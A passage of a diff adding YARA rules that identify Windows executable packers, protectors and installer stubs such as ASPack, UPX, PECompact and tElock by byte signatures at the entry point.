+		$0 = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12_
+{
+	meta:
+		description = "ASProtect v1.2"
+	strings:
+		$0 = {68 01 C3 AA ??}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v12_
+{
+	meta:
+		description = "y0da's Crypter v1.2"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED B9 ?? ?? 8D BD 8B F7}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b4_
+{
+	meta:
+		description = "PECompact v1.10b4"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 87 DD 8B 85 95 60 40 01 85 03 60 40 66 C7 85 60 40 90 90 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_v40_
+{
+	meta:
+		description = "Crunch v4.0"
+	strings:
+		$0 = {E8 58 83 E8 05 50 5F 57 8B F7 81 EF 83 C6 39 BA 8B DF B9 0B 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v13_
+{
+	meta:
+		description = "PEtite v1.3"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10802_
+{
+	meta:
+		description = "ASPack v1.08.02"
+	strings:
+		$0 = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 ?? BB 10 6A 44 ?? 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b5__v140b6_
+{
+	meta:
+		description = "PECompact v1.40b5 - v1.40b6"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 87 DD 8B 85 A6 A0 40 01 85 03 A0 40 66 C7 85 A0 40 90 90 01 85 9E A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v12x_
+{
+	meta:
+		description = "eXpressor v1.2x"
+	strings:
+		$0 = {55 8B EC 83 EC 64 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_v11010291_
+{
+	meta:
+		description = "Wise Installer Stub v1.10.1029.1"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2xx_
+{
+	meta:
+		description = "ASPack v2.xx"
+	strings:
+		$0 = {60 E8 70 05 ?? ?? EB}
+		$1 = {60 ?? ??}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_Modified_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB 8A 07 EB B8 01 ?? ?? ?? 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v1x__Modified_
+{
+	meta:
+		description = "y0da's Crypter v1.x / Modified"
+	strings:
+		$0 = {E9 12 ?? ?? ?? E9 FB FF FF FF C3 68 64 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Packer_
+{
+	meta:
+		description = "PE Packer"
+	strings:
+		$0 = {E8 04 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 81 EF 83 EF 05 89 AD 88 27 40 8D 9D 07 29 40 8D B5 62 28 40 46}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeBundle_v30_standard_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (standard loader)"
+	strings:
+		$0 = {60 BE ?? F0 40 ?? 8D BE ?? 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v137_
+{
+	meta:
+		description = "EXE32Pack v1.37"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 02 81 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v051_
+{
+	meta:
+		description = "UPX v0.51"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 58 83 E8 3D 50 8D B8 FF 57 8D B0}
+	condition:
+		$0 at entrypoint
+}
+rule _SmokesCrypt_v12_
+{
+	meta:
+		description = "SmokesCrypt v1.2"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 59 9C 50 74 0A 75 08 E8 59 C2 04 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v244_
+{
+	meta:
+		description = "PEBundle v2.44"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 BD B9 02 B0 90 8D BD F3 AA 01 AD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_006_
+{
+	meta:
+		description = "UPXShit 0.06"
+	strings:
+		$0 = {8C E0 0B C5 8C E0 0B C4 03 C5 74 ?? 74 ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133_
+{
+	meta:
+		description = "FSG v1.33"
+	strings:
+		$0 = {89 25 A8 11 40 ?? BF ?? 31 C0 B9 ?? 29 F9 FC F3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211b_
+{
+	meta:
+		description = "ASPack v2.11b"
+	strings:
+		$0 = {60 E8 02 ?? ?? ?? EB 09 5D 55 81 ED 39 39 44 ?? C3 E9 59}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v102_
+{
+	meta:
+		description = "PE Crypt v1.02"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 52 4E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v120__v1201_
+{
+	meta:
+		description = "PECompact v1.20 - v1.20.1"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 87 DD 8B 85 A6 70 40 01 85 03 70 40 66 C7 85 70 40 90 90 01 85 9E 70 40}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_GUI_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (GUI) v1.5"
+	strings:
+		$0 = {90 61 BE ?? 10 42 ?? 8D BE ?? ?? FE FF C7 87 C0 20 02 ?? 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v126b1__v126b2_
+{
+	meta:
+		description = "PECompact v1.26b1 - v1.26b2"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 87 DD 8B 85 A6 80 40 01 85 03 80 40 66 C7 85 ?? 80 40 90 90 01 85 9E 80 40}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v095_
+{
+	meta:
+		description = "tElock v0.95"
+	strings:
+		$0 = {E9 59 E4 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v200_
+{
+	meta:
+		description = "NeoLite v2.00"
+	strings:
+		$0 = {8B 44 24 04 23 05 50 E8 83 C4 04 FE 05 0B C0}
+		$1 = {E9 4E 65 6F 4C 69 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCGuard_v405d_v410d_v415d_
+{
+	meta:
+		description = "PC-Guard v4.05d, v4.10d, v4.15d"
+	strings:
+		$0 = {FC 55 50 E8 ?? ?? ?? ?? 5D 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 ?? EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _EZIP_v10_
+{
+	meta:
+		description = "EZIP v1.0"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE 53 E8 0A ?? ?? ?? 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v210_
+{
+	meta:
+		description = "DBPE v2.10"
+	strings:
+		$0 = {EB 20 9C 55 57 56 52 51 53 9C E8 5D 81 ED EB 58 75 73 65 72 33 32 2E}
+		$1 = {EB 20 40 9C 55 57 56 52 51 53 9C E8 5D 81 ED 9C 6A 10 73 0B EB 02 C1 51}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v108_
+{
+	meta:
+		description = "ASPack v1.08"
+	strings:
+		$0 = {90 90 75 01 FF}
+		$1 = {90 90 90 75 01 FF}
+		$2 = {90 90 90 75 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASPack_v21_
+{
+	meta:
+		description = "ASPack v2.1"
+	strings:
+		$0 = {60 E9 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v14_
+{
+	meta:
+		description = "PEtite v1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 68 54 BC 6A FF 50 14 8B}
+		$1 = {B8 66 9C 60 50 8B D8 03 68 54 BC 6A FF 50 18 8B CC 8D A0 54 BC 8B C3 8D 90 E0 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeBundle_v30_small_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (small loader)"
+	strings:
+		$0 = {65 78 65 73 68 6C 2E 64 6C 6C C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protect_v09_
+{
+	meta:
+		description = "PE Protect v0.9"
+	strings:
+		$0 = {E8 E8 01 60 01 AD B3 27 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v10061_
+{
+	meta:
+		description = "Obsidium v1.0.0.61"
+	strings:
+		$0 = {E8 47}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v011_
+{
+	meta:
+		description = "XCR v0.11"
+	strings:
+		$0 = {60 9C E8 8B DD 5D 81 ED 89}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108x_
+{
+	meta:
+		description = "ASPack v1.08.x"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D BB 03}
+	condition:
+		$0 at entrypoint
+}
+rule _PENinja_
+{
+	meta:
+		description = "PENinja"
+	strings:
+		$0 = {5D 8B C5 81 ED B2 2C 40 ?? 2B 85 94 3E 40 ?? 2D 71 02 ?? ?? 89 85 98 3E 40 ?? 0F B6 B5 9C 3E 40 ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.x"
+	strings:
+		$0 = {FF 60 FF CA FF ?? BA DC 0D E0 40 ?? 50 ?? 60 ?? 70 ??}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v43_MTE_
+{
+	meta:
+		description = "VBOX v4.3 MTE"
+	strings:
+		$0 = {36 3E 26 8A C0 60}
+	condition:
+		$0 at entrypoint
+}
+rule _TASM__MASM_
+{
+	meta:
+		description = "TASM / MASM"
+	strings:
+		$0 = {E9 E5 E2 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _JDPack_
+{
+	meta:
+		description = "JDPack"
+	strings:
+		$0 = {EB 66 87}
+	condition:
+		$0 at entrypoint
+}
+rule _KGCrypt_vxx_
+{
+	meta:
+		description = "KGCrypt vx.x"
+	strings:
+		$0 = {60 66 9C BB 80 B3 ?? 10 40 ?? 90 4B 83 FB FF 75 F3 66 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2000_
+{
+	meta:
+		description = "ASPack v2.000"
+	strings:
+		$0 = {60 E8 72 05 ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v12_
+{
+	meta:
+		description = "FSG v1.2"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE 53 E8 0A ?? ?? ?? 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_v211_DEMO_
+{
+	meta:
+		description = "ORiEN v2.11 (DEMO)"
+	strings:
+		$0 = {60 E8 01 E8 83 C4 04 E8 01 E9 5D 81 ED D3 22 40 E8 04 02 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v153_
+{
+	meta:
+		description = "DBPE v1.53"
+	strings:
+		$0 = {9C 6A 10 73 0B EB 02 C1 51 E8 06 C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 E8 B0 EF FF FF 72 03 73 01 75}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v132_
+{
+	meta:
+		description = "SVK-Protector v1.32"
+	strings:
+		$0 = {64 8B 05 55 8B EC 6A FF 68 40 68 40 50 64 89 25 83 EC 08 50 53 56 57 89 65 E8 C7 45}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v029_
+{
+	meta:
+		description = "PC Shrinker v0.29"
+	strings:
+		$0 = {BD 01 AD E3 38 40 FF B5 DF 38}
+	condition:
+		$0 at entrypoint
+}
+rule _Anticrack_Software_Protector_v109_ACProtect_
+{
+	meta:
+		description = "Anticrack Software Protector v1.09 (ACProtect)"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? ?? ??}
+		$1 = {60 ?? ?? E8 01 ?? ?? ?? 83 04 24 06}
+		$2 = {90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PEEncrypt_v40b_JunkCode_
+{
+	meta:
+		description = "PEEncrypt v4.0b (JunkCode)"
+	strings:
+		$0 = {E8 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v071__v072_
+{
+	meta:
+		description = "UPX v0.71 - v0.72"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 60 BE 8D BE 57 83 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_v102_
+{
+	meta:
+		description = "PE Crypt32 v1.02"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v139_
+{
+	meta:
+		description = "EXE32Pack v1.39"
+	strings:
+		$0 = {3B 74 02 81 83 55 3B 74 02 81 53 3B 74 01 02 81 E8 3B 74 01 5D 8B D5 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v094_
+{
+	meta:
+		description = "PECompact v0.94"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_
+{
+	meta:
+		description = "UPX v1.03 - v1.04"
+	strings:
+		$0 = {60 BE 8D BE C7 87 57 83 CD FF EB 0E 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Pack_v099_
+{
+	meta:
+		description = "PE Pack v0.99"
+	strings:
+		$0 = {74}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v05_
+{
+	meta:
+		description = "Krypton v0.5"
+	strings:
+		$0 = {E8 5D 81 ED 64 A1 30 84 C0 74 64 A1 20 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v20_
+{
+	meta:
+		description = "EP v2.0"
+	strings:
+		$0 = {60 BE ?? B0 42 ?? 8D BE ?? 60 FD FF C7 87 B0 E4 02 ?? 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _CreateInstall_Stub_vxx_
+{
+	meta:
+		description = "CreateInstall Stub vx.x"
+	strings:
+		$0 = {55 E8 5D 83 ED 06 8B C5 55 60 89 AD 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _NFO_v1x_modified_
+{
+	meta:
+		description = "NFO v1.x modified"
+	strings:
+		$0 = {EB 01 9A E8 3D ?? ?? ?? EB 01 9A E8 EB 01 ?? ?? EB 01 9A E8 2C 04 ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v020_
+{
+	meta:
+		description = "PC Shrinker v0.20"
+	strings:
+		$0 = {BD 01 AD 55 39 40 8D B5 35 39}
+	condition:
+		$0 at entrypoint
+}
+rule _CExe_v10a_
+{
+	meta:
+		description = "CExe v1.0a"
+	strings:
+		$0 = {53 60 BD 8D 45 8D 5D E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27_
+{
+	meta:
+		description = "Exe Shield v2.7"
+	strings:
+		$0 = {EB 06 68 40 85 06 ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 30 90 40 ?? 90 90 01 85 DA 90 40 ??}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPack32_v1x_
+{
+	meta:
+		description = "WWPack32 v1.x"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102b_
+{
+	meta:
+		description = "ASPack v1.02b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03}
+		$1 = {60 E8 5D 81 ED AE 98 43 B8 A8 98 43 03 C5 2B 85 18 9D 43 89 85 24 9D 43 80 BD 0E 9D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v103b_
+{
+	meta:
+		description = "ASPack v1.03b"
+	strings:
+		$0 = {60 E8 5D 81 ED CE 3A 44 B8 C8 3A 44 03 C5 2B 85 B5 3E 44 89 85 C1 3E 44 80 BD AC 3E}
+		$1 = {60 E8 5D 81 ED B8 03 C5 2B 85 12 9D 89 85 1E 9D 80 BD 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Stealth_v11_
+{
+	meta:
+		description = "EXE Stealth v1.1"
+	strings:
+		$0 = {EB ?? 60 EB ?? E8 ?? ?? ?? ?? 5D 81 ED D3 26}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Pack_v10_
+{
+	meta:
+		description = "PE Pack v1.0"
+	strings:
+		$0 = {FC 8B 35 70 01 40 83 EE 40 6A 40 68 30}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v11_
+{
+	meta:
+		description = "FSG v1.1"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C ?? ?? 4C 6F 61 64 4C 69 62 72 61 72 79 41 ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypter_
+{
+	meta:
+		description = "PE-Crypter"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b5_
+{
+	meta:
+		description = "PECompact v1.10b5"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 87 DD 8B 85 9A 60 40 01 85 03 60 40 66 C7 85 60 40 90 90 01 85 92 60 40}
+	condition:
+		$0 at entrypoint
+}
+rule _SecuPack_v15_
+{
+	meta:
+		description = "SecuPack v1.5"
+	strings:
+		$0 = {60 B8 B8 8A 14 08 80 F2 88 14 08 41 83 F9 75}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_v106_
+{
+	meta:
+		description = "PE Lock v1.06"
+	strings:
+		$0 = {60 E8 5D 83 ED 06 80 BD E0 04 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEb_
+{
+	meta:
+		description = "ASProtect v1.1 MTEb"
+	strings:
+		$0 = {90 60 E8 1B E9}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_
+{
+	meta:
+		description = "tElock v0.99"
+	strings:
+		$0 = {50 E8 58 25 F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v233_
+{
+	meta:
+		description = "DBPE v2.33"
+	strings:
+		$0 = {EB 20 40 9C 55 57 56 52 51 53 9C E8 5D 81}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v20_
+{
+	meta:
+		description = "NeoLite v2.0"
+	strings:
+		$0 = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v10x__v11x_
+{
+	meta:
+		description = "eXpressor v1.0x / v1.1x"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 ?? ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v42_MTE_
+{
+	meta:
+		description = "VBOX v4.2 MTE"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v11_
+{
+	meta:
+		description = "y0da's Crypter v1.1"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED F3 1D 40 ?? B9 7B 09 ?? ?? 8D BD 3B 1E 40 ?? 8B F7}
+	condition:
+		$0 at entrypoint
+}
+rule _Blade_Joiner_v15_
+{
+	meta:
+		description = "Blade Joiner v1.5"
+	strings:
+		$0 = {60 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v04x__v05x_
+{
+	meta:
+		description = "tElock v0.4x - v0.5x"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 60 E8 ?? ?? ?? ?? 58 83 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v01b_MTE_
+{
+	meta:
+		description = "PESHiELD v0.1b MTE"
+	strings:
+		$0 = {60 E8 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v113_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.13"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 5D 81 ED 42 30 40 FF 95 32 35 40 B8 37 30 40 03 C5 2B 85 1B 34 40 89 85 27 34 40}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v07x__v084_
+{
+	meta:
+		description = "tElock v0.7x - v0.84"
+	strings:
+		$0 = {60 E8 02 ?? ?? ?? CD 20 E8 ?? ?? ?? ?? 5E 2B C9 58 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v30_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v3.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 41 43 ?? 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_v10_
+{
+	meta:
+		description = "DEF v1.0"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 23 35}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v6x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v6.x module"
+	strings:
+		$0 = {53 FF 15 ?? B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTE_
+{
+	meta:
+		description = "ASProtect v1.1 MTE"
+	strings:
+		$0 = {90 60 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v8x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v8.x module"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? 90 90 90 ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_Delphi_stub_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 (Delphi) stub"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 ?? ?? ?? 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v111_
+{
+	meta:
+		description = "SVK-Protector v1.11"
+	strings:
+		$0 = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 ?? ?? ?? ?? 5D 81 ED 10 ?? ?? ?? EB 03 C7 84 E9 64 A0 23 ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPR_Stripper_v2x_unpacked_
+{
+	meta:
+		description = "ASPR Stripper v2.x unpacked"
+	strings:
+		$0 = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89}
+	condition:
+		$0 at entrypoint
+}
+rule _PENinja_modified_
+{
+	meta:
+		description = "PENinja modified"
+	strings:
+		$0 = {60 9C BE 8B FE B9 BB 44 52 4F 4C AD 33}
+	condition:
+		$0 at entrypoint
+}
+rule __Protector_v1111_DDeMPE_Engine_v09_DDeMCI_v092_
+{
+	meta:
+		description = "*** Protector v1.1.11 (DDeM->PE Engine v0.9, DDeM->CI v0.9.2)"
+	strings:
+		$0 = {E9 ?? ?? E9 ?? ?? E9 ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _CICompress_v10_
+{
+	meta:
+		description = "CICompress v1.0"
+	strings:
+		$0 = {90 61 BE ?? 10 42 ?? 8D BE ?? ?? FE FF C7 87 C0 20 02 ?? F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_3_
+{
+	meta:
+		description = "kryptor 3"
+	strings:
+		$0 = {E8 03 E9 EB 6C 58 40 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v0251_
+{
+	meta:
+		description = "PESHiELD v0.251"
+	strings:
+		$0 = {B8 B9 83 F9 ?? 7E 06 80 30 40 E2 F5 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v29_
+{
+	meta:
+		description = "Exe Shield v2.9"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED FB 1D 40 ?? B9 7B 09 ?? ?? 8B F7}
+	condition:
+		$0 at entrypoint
+}
+rule _Program_Protector_XP_v10_
+{
+	meta:
+		description = "Program Protector XP v1.0"
+	strings:
+		$0 = {50 60 29 C0 64 FF 30 E8 5D 83 ED 3C 89 E8 89 A5 14 2B 85 1C 89 85 1C 8D 85 27 03 50 8B 85 C0 0F 85 C0 8D BD 5B 03 8D B5 43}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b2_
+{
+	meta:
+		description = "PECompact v1.10b2"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 87 DD 8B 85 95 60 40 01 85 03 60 40 66 C7 85 60 40 90 90 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _Lockless_Intro_Pack_
+{
+	meta:
+		description = "Lockless Intro Pack"
+	strings:
+		$0 = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 68 C0 69 44 ?? E8 E4 80 FF FF 59 E8 4E 29 ?? ?? E8 C9 0D ?? ?? 85 C0 75 08 6A FF E8 6E}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v20_
+{
+	meta:
+		description = "PEtite v2.0"
+	strings:
